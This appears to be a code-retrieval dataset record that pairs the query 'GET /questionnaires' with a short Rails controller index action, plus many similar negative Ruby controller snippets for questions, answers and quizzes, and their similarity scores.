[ "0.6711002", "0.6711002", "0.6016628", "0.5993684", "0.5875134", "0.5819763", "0.5684788", "0.5643692", "0.545328", "0.54153013", "0.5414914", "0.54032654", "0.5391896", "0.519619", "0.5148701", "0.5090018", "0.50510126", "0.49885383", "0.4962707", "0.49500427", "0.4938215", "0.49249956", "0.48955134", "0.48955134", "0.4874914", "0.4851539", "0.48473", "0.48143798", "0.48143798", "0.48143798", "0.48096034", "0.48044816", "0.4770045", "0.47389123", "0.47355098", "0.46808174", "0.46787915", "0.46455318", "0.46297404", "0.4623927", "0.462157", "0.46215072", "0.4617846", "0.4617846", "0.4617846", "0.4612994", "0.46032128", "0.46000946", "0.4595681", "0.45943785", "0.45896497", "0.45834756", "0.45725226", "0.45677465", "0.45650238", "0.45618644", "0.45312744", "0.4528128", "0.45258808", "0.45252326", "0.45247075", "0.45183486", "0.4510215", "0.45097113", "0.45097113", "0.4507274", "0.45059955", "0.45014122", "0.44782707", "0.44443113", "0.44422784", "0.44199687", "0.44123298", "0.44038957", "0.44030643", "0.44012117", "0.43982944", "0.43975917", "0.43975917", "0.43964848", "0.43891984", "0.43872693", "0.43838108", "0.43806058", "0.43785203", "0.437791", "0.437791", "0.43734473", "0.43625543", "0.43611783", "0.43531302", "0.43419978", "0.43398494", "0.43136787", "0.4313493", "0.4313394", "0.43094146", "0.43058246", "0.43054938", "0.430533" ]
0.85116476
0
GET /questionnaires GET /questionnaires.json
def index @questionnaires = Questionnaire.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @questionnaires = @instance.questionnaires\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questionnaires }\n end\n end", "def questions\n # Get a list of questionnaires that belong to instances of the current race\n if @course\n questionnaire_ids = @course.questionnaire_ids\n elsif @instance\n questionnaire_ids = @instance.questionnaire_ids\n else\n questionnaire_ids = []\n end\n\n # Collect question_ids that are used in those questionnaires\n question_ids = Set.new\n Questionnaire.where(:id => questionnaire_ids).find_each do |questionnaire|\n question_ids.merge(questionnaire.question_ids)\n end\n\n @questions = Question.find(question_ids.to_a)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions.to_json }\n end\n end", "def get_questionnaires\n @get_questionnaires ||= questionnaire_service.search('context-type-value': get_use_context)\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end", "def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end", "def index\n @questionnaires = Questionnaire.all\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n @data_collection = DataCollection.find(params[:id])\n @questionnaires = @data_collection.questionnaires\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @data_collection }\n end\n end", "def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end", "def index\n # @questionnaires = Questionnaire.all \n end", "def questions\n self.class.get(\"/2.2/questions\", @options)\n end", "def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end", "def index\n @my_questions = MyQuestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_questions }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end", "def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end", "def index\n params.require(:course)\n @questions = Course.find(params[:course]).questions.select {|q| q.answered == false}\n\n render json: @questions\n end", "def index\n @questionaries = Questionary.all\n end", "def index\n @question_categories = QuestionCategory.with_questions()\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_categories }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end", "def index\n @question_answers = Question::Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_answers }\n end\n end", "def index\n @questionnaires = Questionnaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questionnaires }\n end\n end", "def index\n @questions = @subsection.questions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end", "def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quest }\n end\n end", "def index\n @answers = @question.answers\n respond_with( @answers )\n end", "def new\n @tutorial_quest = Tutorial::Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial_quest }\n end\n end", "def questions_list \n #render json: {status: 200, questions: Quiz.all, msg: \"Success.\"}\n render json: {status: 200, questions: Quiz.all.map{|que| [id: que.id, question: que.question, options: [que.opt1,que.opt2,que.opt3,que.opt4], answer: que.answer]}.flatten, msg: \"Success.\"}\n end", "def index\n @questionnaires = Questionnaire.all\n# @questionnaires = User.questionnaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questionnaires }\n end\n end", "def show\n @completed_quest = CompletedQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @completed_quest }\n end\n end", "def appt_questionnaires\n base_qm[:questionnaire].each_with_object({}) do |quest, acc|\n questionnaire_id = quest['id']\n acc[questionnaire_id] = quest\n end\n end", "def show_questionaires\r\n @quests_pages, @quests = paginate(:questionaires,\r\n :order => 'created_at') \r\n end", "def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n \n @dquestion = Dquestion.find(params[:id])\n session[:quest_id] = @dquestion.id\n @danswers = Danswer.where(dquestion_id: @dquestion.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: [@dtest, @dquestion] }\n end\n end", "def index\n @questionarios_respostas = QuestionarioResposta.all\n end", "def index\n @questions = @questionable.questions\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questionnaires }\n end\n end", "def index\n render status: :ok, json: @simple_question_alternatives\n end", "def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end", "def getanswerable\n @the_question = Question.find(params[:id])\n @user_id = session[:user_id]\n if @the_question.user.id == @user_id\n render json: [{question: @the_question}]\n end\n end", "def show\n @questions = Question.find(params[:id])\n @answers = @question.answers.all\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @quizzes = Quiz.all \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quizzes }\n end\n end", "def index\n @question_groups = QuestionGroup.all\n respond_to do |format|\n format.html\n format.json {render json: @question_groups}\n end\n end", "def show\n @question_category = QuestionCategory.with_questions(question_category_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_category }\n end\n end", "def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end", "def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end", "def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend", "def show\n @questionairre_item = QuestionairreItem.includes(:questionairre_answers).find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionairre_item }\n end\n end", "def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end", "def show\n # id from url comes in as :id key of params hash\n @question = Question.find(params[:id])\n\n @answers = @question.answers.order(created_at: :desc)\n end", "def new\n @quest = Quest.new\n\t@categories = find_all_categories\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n render_json @question\n end", "def show\n render json: @answer\n end", "def questions\n object.questions.map do |question|\n QuestionSerializer.new(question)\n end\n end", "def index\n quizzes = Quiz.all\n render json: quizzes, except: [:updated_at, :created_at]\n end", "def retrieve_questions(questionnaires)\n questionnaires.each do |questionnaire|\n round = AssignmentQuestionnaire.where(assignment_id: @assignment.id, questionnaire_id: questionnaire.id).first.used_in_round\n questionnaire_symbol = if !round.nil?\n (questionnaire.symbol.to_s + round.to_s).to_sym\n else\n questionnaire.symbol\n end\n @questions[questionnaire_symbol] = questionnaire.questions\n end\n end", "def show\n @user_quest = UserQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_quest }\n end\n end", "def show\n @questions = Question.find(params[:id])\n end", "def index\n @ideas = Idea.all\n\n render json: @ideas\n end", "def new\n @quest = Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end", "def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @questionset = Questionset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionset }\n end\n end", "def get_questions\n items = get_items\n make_response(HttpStatus::OK, make_result_list(items))\nend", "def index\n @api_v1_questions = Api::V1::Question.all\n end", "def show\n render json: @quiz\n end", "def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end", "def index\n\n @answers = Answer.current\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def new\n @my_question = MyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_question }\n end\n end", "def index\n @dquestions = Dquestion.where(dtest_id: @dtest.id)\n #@dquestions = Dquestion.find_all_by_dtest_id(@dtest.id)\n\n #respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: [@dtest, @dquestion] }\n #end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @questions = Question.all\n end", "def index\n render_json(current_user.created_questions)\n end", "def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @question_datum = QuestionDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_datum }\n end\n end", "def index\n render json: @test_module.test_questions, status: :ok\n end", "def show\n @quiz = Quiz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quiz }\n end\n end", "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end", "def show\n @question_set = QuestionSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_set }\n end\n end", "def index\n @questions = Question.accessible_by(current_ability)\n\n respond_with @questions\n end", "def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end", "def new\n @questionset = Questionset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionset }\n end\n end", "def show\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @test_question }\n end\n end", "def index\n @itineraires = Itineraire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @itineraires }\n end\n end", "def index\n if params[:aspect_id]\n @questions = Aspect.find(params[:aspect_id]).questions.all\n else\n @questions = Question.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end", "def list_skills\n\t\trender json: Skill.where(language_id: params[:language_id]).to_json\n\tend", "def index\n @solutions = @idea.solutions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @solutions }\n end\n end", "def new\n @knowledge_points = KnowledgePoint.all\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq, include: 'subject' }\n end\n end", "def index\n @questions = Question.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.json { render :text => @questions.to_json }\n format.xml { render :xml => @questions.to_xml }\n end\n end" ]
[ "0.75763637", "0.6953089", "0.692888", "0.6895143", "0.6792777", "0.6698487", "0.6696715", "0.6696715", "0.6687998", "0.667861", "0.6629849", "0.6621805", "0.6575555", "0.63936925", "0.6362681", "0.6336179", "0.632804", "0.63277745", "0.63257277", "0.6320819", "0.628833", "0.62654465", "0.6205498", "0.61986387", "0.6197061", "0.6187338", "0.6186872", "0.61825573", "0.6181742", "0.617754", "0.6176188", "0.61712694", "0.6155553", "0.6155475", "0.6141888", "0.614112", "0.612859", "0.607441", "0.60217583", "0.6014621", "0.6007315", "0.6007315", "0.6007315", "0.6007315", "0.5999469", "0.5992034", "0.59851354", "0.5981888", "0.59805393", "0.5978685", "0.5972622", "0.59704703", "0.59669346", "0.5964501", "0.5958112", "0.5948833", "0.59379107", "0.59335", "0.59232026", "0.5916228", "0.5910133", "0.5906473", "0.58935", "0.5891454", "0.58873415", "0.5885268", "0.5885268", "0.5885268", "0.5885033", "0.5884421", "0.5883585", "0.58801013", "0.58737594", "0.58673006", "0.5867009", "0.58598554", "0.5858849", "0.58407587", "0.58407587", "0.58375835", "0.583453", "0.5832508", "0.58320963", "0.5829736", "0.5826576", "0.5826419", "0.5821309", "0.5805773", "0.58027875", "0.5797055", "0.5796286", "0.57934093", "0.57899565", "0.5789414", "0.57891077", "0.57864606", "0.5784615", "0.57835484" ]
0.6794665
5
GET /questionnaires/1 GET /questionnaires/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @questionnaires = @instance.questionnaires\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questionnaires }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end", "def show\n @data_collection = DataCollection.find(params[:id])\n @questionnaires = @data_collection.questionnaires\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @data_collection }\n end\n end", "def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end", "def questions\n # Get a list of questionnaires that belong to instances of the current race\n if @course\n questionnaire_ids = @course.questionnaire_ids\n elsif @instance\n questionnaire_ids = @instance.questionnaire_ids\n else\n questionnaire_ids = []\n end\n\n # Collect question_ids that are used in those questionnaires\n question_ids = Set.new\n Questionnaire.where(:id => questionnaire_ids).find_each do |questionnaire|\n question_ids.merge(questionnaire.question_ids)\n end\n\n @questions = Question.find(question_ids.to_a)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions.to_json }\n end\n end", "def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end", "def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quest }\n end\n end", "def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end", "def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end", "def index\n @questionnaires = Questionnaire.all\n end", "def index\n @questionnaires = Questionnaire.all\n end", "def index\n @questionnaires = Questionnaire.all\n end", "def show\n @completed_quest = CompletedQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @completed_quest }\n end\n end", "def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend", "def show\n if @v1_question\n render json: @v1_question\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end", "def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end", "def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end", "def index\n # @questionnaires = Questionnaire.all \n end", "def index\n @questionnaires = Questionnaire.all\n end", "def questions\n self.class.get(\"/2.2/questions\", @options)\n end", "def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def index\n @my_questions = MyQuestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_questions }\n end\n end", "def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end", "def new\n @tutorial_quest = Tutorial::Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial_quest }\n end\n end", "def show\n @question_category = QuestionCategory.with_questions(question_category_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_category }\n end\n end", "def get_questionnaires\n @get_questionnaires ||= questionnaire_service.search('context-type-value': get_use_context)\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end", "def show\n @questionset = Questionset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionset }\n end\n end", "def show\n \n @dquestion = Dquestion.find(params[:id])\n session[:quest_id] = @dquestion.id\n @danswers = Danswer.where(dquestion_id: @dquestion.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: [@dtest, @dquestion] }\n end\n end", "def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @question_set = QuestionSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_set }\n end\n end", "def getanswerable\n @the_question = Question.find(params[:id])\n @user_id = session[:user_id]\n if @the_question.user.id == @user_id\n render json: [{question: @the_question}]\n end\n end", "def show\n @question_datum = QuestionDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_datum }\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @test_question }\n end\n end", "def show\n render_json @question\n end", "def show\n @questions = Question.find(params[:id])\n end", "def show\n @critical_question = CriticalQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_question }\n end\n end", "def index\n @questionaries = Questionary.all\n end", "def show\n @user_quest = UserQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_quest }\n end\n end", "def index\n @questid = params[:questionnaire_id]\n end", "def new\n @quest = Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end", "def index\n @question_categories = QuestionCategory.with_questions()\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_categories }\n end\n end", "def show\n # id from url comes in as :id key of params hash\n @question = Question.find(params[:id])\n\n @answers = @question.answers.order(created_at: :desc)\n end", "def show\n @questionairre_item = QuestionairreItem.includes(:questionairre_answers).find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionairre_item }\n end\n end", "def index\n render status: :ok, json: @simple_question_alternatives\n end", "def index\n @questions = @subsection.questions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end", "def show\n @category_question = CategoryQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category_question }\n end\n end", "def show\n @quiz = Quiz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quiz }\n end\n end", "def new\n @my_question = MyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_question }\n end\n end", "def index\n @question_answers = Question::Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_answers }\n end\n end", "def new\n @knowledge_points = KnowledgePoint.all\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @question_category = QuestionCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_category }\n end\n end", "def show\r\n @intern_question = InternQuestion.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @intern_question }\r\n end\r\n end", "def show\n question = QuestionOuverteService.instance.afficherQuestionParId(params[:id])\n (question != nil) ? (render json: question, status: :ok) : (render json: nil, status: :not_found)\n end", "def index\n @questions = @questionable.questions\n end", "def show\n @question_response = QuestionResponse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_response }\n end\n end", "def index\n params.require(:course)\n @questions = Course.find(params[:course]).questions.select {|q| q.answered == false}\n\n render json: @questions\n end", "def new\n @questionset = Questionset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionset }\n end\n end", "def show\n @question_type = QuestionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_type }\n end\n end", "def index\n @api_v1_questions = Api::V1::Question.all\n end", "def show\n render json: @answer\n end", "def show\n @questionnaire_group = QuestionnaireGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire_group }\n end\n end", "def index\n @questionnaires = Questionnaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questionnaires }\n end\n end", "def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end", "def new\n @quest = Quest.new\n\t@categories = find_all_categories\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def new\n @question = Question.new\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end", "def new\n @question_set = QuestionSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_set }\n end\n end", "def show\n @base_question = BaseQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @base_question }\n end\n end", "def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq, include: 'subject' }\n end\n end", "def new\n @completed_quest = CompletedQuest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @completed_quest }\n end\n end", "def show\n @survey_question = SurveyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @survey_question }\n end\n end", "def show\n @questions_option = QuestionsOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questions_option }\n end\n end", "def show\n render json: @quiz\n end", "def show\n @questions = Question.find(params[:id])\n @answers = @question.answers.all\n end", "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end", "def index\n @answers = @question.answers\n respond_with( @answers )\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def show\n # @question_answer = Question::Answer.new\n @question = Question.find(params[:question_id])\n @answer = Answer.new(:question_id => @question.id, :quiz_id => @question.quiz.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_answer }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end", "def index\n @questionnaires = Questionnaire.all\n# @questionnaires = User.questionnaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questionnaires }\n end\n end", "def index\n if params[:aspect_id]\n @questions = Aspect.find(params[:aspect_id]).questions.all\n else\n @questions = Question.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end", "def show\n @categorie_analytique = CategorieAnalytique.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @categorie_analytique }\n end\n end" ]
[ "0.742471", "0.7290521", "0.7089278", "0.7089278", "0.6979919", "0.68588394", "0.68273973", "0.670289", "0.667116", "0.6660555", "0.6644325", "0.662616", "0.6584409", "0.6584409", "0.6584409", "0.65730816", "0.65534264", "0.65438294", "0.6525332", "0.65009725", "0.6489891", "0.6481722", "0.646325", "0.6447228", "0.6445348", "0.6424588", "0.6411809", "0.6411809", "0.6411809", "0.641175", "0.6409554", "0.63993764", "0.6386517", "0.63826287", "0.63721293", "0.63721293", "0.6371591", "0.6360899", "0.6350421", "0.6323352", "0.63066196", "0.63058114", "0.6291927", "0.6288278", "0.62779474", "0.62734455", "0.6269916", "0.6264821", "0.6260723", "0.62525237", "0.625197", "0.6246207", "0.6240881", "0.62377363", "0.6235394", "0.6230318", "0.6228722", "0.62208986", "0.6207563", "0.62073374", "0.62057185", "0.61999387", "0.61951244", "0.6191724", "0.6191545", "0.61903006", "0.617292", "0.6168467", "0.61591285", "0.61499894", "0.6146501", "0.61401945", "0.6131884", "0.61279976", "0.6108536", "0.6104309", "0.6103776", "0.6087745", "0.6087745", "0.6087745", "0.60809976", "0.60806876", "0.606718", "0.6066146", "0.60629886", "0.6061787", "0.6052448", "0.6048226", "0.60456914", "0.6044893", "0.60420156", "0.60356003", "0.60356003", "0.60356003", "0.60356003", "0.60356003", "0.60336816", "0.6031033", "0.6026767", "0.601807", "0.6016725" ]
0.0
-1
POST /questionnaires POST /questionnaires.json
